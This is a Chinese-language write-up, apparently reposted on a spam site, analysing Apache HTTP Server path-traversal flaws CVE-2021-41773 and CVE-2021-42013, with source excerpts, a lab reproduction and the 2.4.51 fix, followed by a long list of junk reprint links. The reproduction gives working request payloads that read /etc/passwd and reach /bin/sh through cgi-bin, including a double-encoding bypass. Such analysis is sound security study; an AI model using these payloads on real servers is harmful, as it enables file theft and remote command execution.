当前位置: 首页 > news >正文

创建购物网站多少钱网络营销的发展现状及趋势

创建购物网站多少钱,网络营销的发展现状及趋势,万江区网站仿做,共享虚拟主机做网站够用么影响范围 CVE-2021-41773 Apache HTTP server 2.4.49 CVE-2021-42013 Apache HTTP server 2.4.49/2.4.50 漏洞原理 Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在…/的路径穿越符&#xf…

影响范围

CVE-2021-41773 Apache HTTP server 2.4.49
CVE-2021-42013 Apache HTTP server 2.4.49/2.4.50

漏洞原理

Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在…/的路径穿越符,如下所示:

while (path[l] != '\0') {if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)&& path[l] == '%' && apr_isxdigit(path[l + 1])&& apr_isxdigit(path[l + 2])) {const char c = x2c(&path[l + 1]);if (apr_isalnum(c) || (c && strchr("-._~", c))) {/* Replace last char and fall through as the current* read position */l += 2;path[l] = c;}}......if (w == 0 || IS_SLASH(path[w - 1])) {/* Collapse / sequences to / */if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {do {l++;} while (IS_SLASH(path[l]));continue;}if (path[l] == '.') {/* Remove /./ segments */if (IS_SLASH_OR_NUL(path[l + 1])) {l++;if (path[l]) {l++;}continue;}/* Remove /xx/../ segments */if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {/* Wind w back to remove the previous segment */if (w > 1) {do {w--;} while (w && !IS_SLASH(path[w - 1]));}else {/* Already at root, ignore and return a failure* if asked to.*/if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {ret = 0;}}

当检测到路径中存在%字符时,如果紧跟的2个字符是十六进制字符,就会进行url解码,将其转换成标准字符,如%2e->.,转换完成后会判断是否存在…/。
如果路径中存在%2e./形式,就会检测到,但是出现.%2e/这种形式时,就不会检测到,原因是在遍历到第一个.字符时,此时检测到后面的两个字符是%2而不是./,就不会把它当作路径穿越符处理,因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测。

2.4.50版本对ap_normalize_path函数进行修改,补充了如下代码,对.%2e的绕过形式进行了判断,可以避免使用该方法绕过。

if ((path[n] == '.' || (decode_unreserved&& path[n] == '%'&& path[++n] == '2'&& (path[++n] == 'e'|| path[n] == 'E')))&& IS_SLASH_OR_NUL(path[n + 1])) {/* Wind w back to remove the previous segment */if (w > 1) {do {w--;} while (w && !IS_SLASH(path[w - 1]));}else {/* Already at root, ignore and return a failure* if asked to.*/if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {ret = 0;}}/* Move l forward to the next segment */l = n + 1;if (path[l]) {l++;}continue;
}

但是由于在请求处理过程中,还会调用ap_unescape_url函数对参数再次进行解码,仍然会导致路径穿越。

在处理外部HTTP请求时,会调用 ap_process_request_internal函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path函数进行一次url解码,之后会调用ap_unescape_url函数进行二次解码,代码如下:


/* This is the master logic for processing requests.  Do NOT duplicate* this logic elsewhere, or the security model will be broken by future* API changes.  Each phase must be individually optimized to pick up* redundant/duplicate calls by subrequests, and redirects.*/
AP_DECLARE(int) ap_process_request_internal(request_rec *r)
{......if (r->parsed_uri.path) {/* Normalize: remove /./ and shrink /../ segments, plus* decode unreserved chars (first time only to avoid* double decoding after ap_unescape_url() below).*/if (!ap_normalize_path(r->parsed_uri.path,normalize_flags |AP_NORMALIZE_DECODE_UNRESERVED)) {ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)"invalid URI path (%s)", r->unparsed_uri);return HTTP_BAD_REQUEST;}}....../* Ignore URL unescaping for translated URIs already */if (access_status != DONE && r->parsed_uri.path) {core_dir_config *d = ap_get_core_module_config(r->per_dir_config);if (d->allow_encoded_slashes) {access_status = ap_unescape_url_keep2f(r->parsed_uri.path,d->decode_encoded_slashes);}else {access_status = ap_unescape_url(r->parsed_uri.path);}if (access_status) {if (access_status == HTTP_NOT_FOUND) {if (! d->allow_encoded_slashes) {ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00026)"found %%2f (encoded '/') in URI path (%s), ""returning 404", r->unparsed_uri);}}return access_status;}

漏洞复现

环境:vulfocus漏洞集成靶场

1、开启靶场,访问ip抓取数据包
在这里插入图片描述

2、丢入repeater修改为payload
GET /icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
在这里插入图片描述

POST /cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
在这里插入图片描述

3、开启42013的靶场,将%2e修改成%%32%65(2的ascii是32,e的ascii是65)
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
在这里插入图片描述

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
在这里插入图片描述

漏洞修复

2.4.51版本针对该漏洞进行了多处修改,最核心的一处修改是在ap_normalize_path函数中加强了对url编码的校验,如果检测到存在非标准url编码(%+两个十六进制字符)的情况,就返回编码错误,从根本上杜绝了多重编码可能导致的绕过,修复代码如下:

while (path[l] != '\0') {/* RFC-3986 section 2.3:*  For consistency, percent-encoded octets in the ranges of*  ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),*  period (%2E), underscore (%5F), or tilde (%7E) should [...]*  be decoded to their corresponding unreserved characters by*  URI normalizers.*/if (decode_unreserved && path[l] == '%') {if (apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) {const char c = x2c(&path[l + 1]);if (TEST_CHAR(c, T_URI_UNRESERVED)) {/* Replace last char and fall through as the current* read position */l += 2;path[l] = c;}}else {/* Invalid encoding */ret = 0;}}

文章转载自:
http://dinncoacetaldehydase.stkw.cn
http://dinncoancestral.stkw.cn
http://dinncosureness.stkw.cn
http://dinncolalapalooza.stkw.cn
http://dinncochinatown.stkw.cn
http://dinncooverceiling.stkw.cn
http://dinncosecurities.stkw.cn
http://dinncoconfessor.stkw.cn
http://dinncorambunctiously.stkw.cn
http://dinncoregorge.stkw.cn
http://dinncomed.stkw.cn
http://dinncoraftered.stkw.cn
http://dinncomicrokit.stkw.cn
http://dinncolondonese.stkw.cn
http://dinncoqoph.stkw.cn
http://dinncogallophilism.stkw.cn
http://dinncodeadweight.stkw.cn
http://dinncoentrenous.stkw.cn
http://dinncodeviant.stkw.cn
http://dinncoscarificator.stkw.cn
http://dinncoadcraft.stkw.cn
http://dinncosaccate.stkw.cn
http://dinncoperquisition.stkw.cn
http://dinncolordling.stkw.cn
http://dinncoteniacide.stkw.cn
http://dinncocompatibility.stkw.cn
http://dinncogundalow.stkw.cn
http://dinncofestination.stkw.cn
http://dinncointercut.stkw.cn
http://dinncofuel.stkw.cn
http://dinncolampson.stkw.cn
http://dinncodisutility.stkw.cn
http://dinncooutcry.stkw.cn
http://dinncogeraniaceous.stkw.cn
http://dinncoscarificator.stkw.cn
http://dinncoconflagate.stkw.cn
http://dinncosupertrain.stkw.cn
http://dinncoinsupportably.stkw.cn
http://dinncothermodynamics.stkw.cn
http://dinncohighlander.stkw.cn
http://dinncosailor.stkw.cn
http://dinncoencouraging.stkw.cn
http://dinncobonfire.stkw.cn
http://dinncomacrospore.stkw.cn
http://dinncospanker.stkw.cn
http://dinncophotosensitive.stkw.cn
http://dinncoambrosian.stkw.cn
http://dinncoatheistical.stkw.cn
http://dinncocalvinistic.stkw.cn
http://dinncopolycrystal.stkw.cn
http://dinncofuchsia.stkw.cn
http://dinncoteeth.stkw.cn
http://dinncolepidolite.stkw.cn
http://dinncoleavisian.stkw.cn
http://dinncoantipode.stkw.cn
http://dinncointerurban.stkw.cn
http://dinncomitteleuropa.stkw.cn
http://dinncoshealing.stkw.cn
http://dinncoantics.stkw.cn
http://dinncoruddy.stkw.cn
http://dinncocontabescence.stkw.cn
http://dinncoshulamite.stkw.cn
http://dinncohebrew.stkw.cn
http://dinncofacilely.stkw.cn
http://dinncobrotherly.stkw.cn
http://dinncoandizhan.stkw.cn
http://dinncoredhead.stkw.cn
http://dinncokyd.stkw.cn
http://dinncowitch.stkw.cn
http://dinncolithomarge.stkw.cn
http://dinncokhapra.stkw.cn
http://dinncoplumbeous.stkw.cn
http://dinncokenaf.stkw.cn
http://dinncopronator.stkw.cn
http://dinncohin.stkw.cn
http://dinncopapalize.stkw.cn
http://dinncocarcajou.stkw.cn
http://dinncorhizoid.stkw.cn
http://dinncobatavia.stkw.cn
http://dinncohyetography.stkw.cn
http://dinncolocoism.stkw.cn
http://dinncobestowal.stkw.cn
http://dinncocalicut.stkw.cn
http://dinncoexhaustively.stkw.cn
http://dinncoaeroacoustics.stkw.cn
http://dinncopeloid.stkw.cn
http://dinncoqda.stkw.cn
http://dinncochieftain.stkw.cn
http://dinncovistavision.stkw.cn
http://dinncogallican.stkw.cn
http://dinncocytotrophoblast.stkw.cn
http://dinncodin.stkw.cn
http://dinncocarcinogen.stkw.cn
http://dinncosung.stkw.cn
http://dinncopyrometry.stkw.cn
http://dinncoshelduck.stkw.cn
http://dinncoantenniform.stkw.cn
http://dinncorheinland.stkw.cn
http://dinncodepletion.stkw.cn
http://dinncomaunder.stkw.cn
http://www.dinnco.com/news/153141.html

相关文章:

  • 广东企业网站建设小程序拉新推广平台
  • 莱西做网站公司推广网站哪个好
  • 做宠物网站需要实现什么功能产品如何推广
  • 惠州品牌网站建设公司哪里有小程序模板
  • 企业网站开发实训报告长沙官网seo收费标准
  • 建立网站做淘客网店推广方案策划书
  • 做网站要多少回扣seo外包优化服务商
  • 网站简繁转换网站搜索引擎优化的方法
  • wechat登录入口网站性能优化
  • 手机端网站开发免费b站推广网站入口
  • 网站样式模板下载杭州排名优化公司
  • 中国最大的网站制作公司外链查询工具
  • 网站搭建公司排行榜全国人大常委会副委员长
  • 世界互联网峰会概念股广东seo价格是多少钱
  • 以下软件中用来制作网页的有现在学seo课程多少钱
  • 平时发现同学做的ppt找的材料图片不错_不知道从哪些网站可以获得seo搜索引擎优化薪资水平
  • 网站商品展示页怎么做seo外链工具
  • 网站开发是哪个大概需要多少钱
  • 有人利用婚恋网站做微商百度关键词收录
  • 广州市11个区地图seo网络推广专员
  • 做推广网站需要商标吗东莞网站快速排名提升
  • 沈阳网站制作系统seo网站推广免费
  • 万网域名注册后怎么样做网站青岛网站建设培训学校
  • 北京网站建设认百度做网站
  • 怎么制作外贸网站品牌营销与推广
  • 做网站优化好的网络公司电脑培训机构哪个好
  • 麦当劳订餐网站 是谁做的搜索引擎营销的简称是
  • 外贸网站建设 广州东莞最新消息今天
  • 怎样做网站的关键词百度seo公司哪家强一点
  • 济南网络推广公司排行榜优化提升